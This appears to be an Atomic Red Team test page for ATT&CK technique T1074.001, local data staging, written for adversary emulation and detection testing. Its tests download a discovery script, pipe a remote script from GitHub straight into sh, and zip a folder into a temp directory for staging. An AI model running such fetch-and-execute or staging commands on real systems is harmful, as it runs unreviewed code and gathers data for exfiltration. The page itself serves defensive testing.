# T1074.001 - Data Staged: Local Data Staging

## Description from ATT&CK

> Adversaries may stage collected data in a central location or directory on the local system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.
> 
> Adversaries may also stage collected data in various available formats/locations of a system, including local storage databases/repositories or the Windows Registry.(Citation: Prevailion DarkWatchman 2021)

[Source](https://attack.mitre.org/techniques/T1074/001)

## Atomic Tests

- [Atomic Test #1: Stage data from Discovery.bat](#atomic-test-1-stage-data-from-discoverybat)
- [Atomic Test #2: Stage data from Discovery.sh](#atomic-test-2-stage-data-from-discoverysh)
- [Atomic Test #3: Zip a Folder with PowerShell for Staging in Temp](#atomic-test-3-zip-a-folder-with-powershell-for-staging-in-temp)

### Atomic Test #1: Stage data from Discovery.bat

Utilize powershell to download discovery.bat and save to a local file. This emulates an attacker downloading data collection tools onto the host. Upon execution,
verify that the file is saved in the temp directory.

**Supported Platforms:** Windows

**auto_generated_guid:** `107706a5-6f9f-451a-adae-bab8c667829f`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| output_file | Location to save downloaded discovery.bat file | path | $env:TEMP&#92;discovery.bat|

#### Attack Commands: Run with `powershell`!

```powershell
Invoke-WebRequest "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.bat" -OutFile #{output_file}
```

#### Cleanup Commands

```powershell
Remove-Item -Force #{output_file} -ErrorAction Ignore
```
### Atomic Test #2: Stage data from Discovery.sh

Utilize curl to download discovery.sh and execute a basic information gathering shell script

**Supported Platforms:** Linux, macOS

**auto_generated_guid:** `39ce0303-ae16-4b9e-bb5b-4f53e8262066`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| output_file | Location to save downloaded discovery.bat file | path | /tmp/T1074.001_discovery.log|

#### Attack Commands: Run with `sh`!

```sh
curl -s https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1074.001/src/Discovery.sh | sh -s > #{output_file}
```

#### Cleanup Commands

```sh
rm #{output_file}
```

#### Dependencies: Run with `sh`!

##### Description: Check if curl is installed on the machine.

###### Check Prereq Commands

```sh
if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
```

###### Get Prereq Commands

```sh
which apt && apt update && apt install -y curl || which pkg && pkg update && pkg install -y curl
```

### Atomic Test #3: Zip a Folder with PowerShell for Staging in Temp

Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip
was placed in the temp directory.

**Supported Platforms:** Windows

**auto_generated_guid:** `a57fbe4b-3440-452a-88a7-943531ac872a`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| output_file | Location to save zipped file or folder | path | $env:TEMP&#92;Folder_to_zip.zip|
| input_file | Location of file or folder to zip | path | PathToAtomicsFolder&#92;T1074.001&#92;bin&#92;Folder_to_zip|

#### Attack Commands: Run with `powershell`!

```powershell
Compress-Archive -Path "#{input_file}" -DestinationPath #{output_file} -Force
```

#### Cleanup Commands

```powershell
Remove-Item -Path #{output_file} -ErrorAction Ignore
```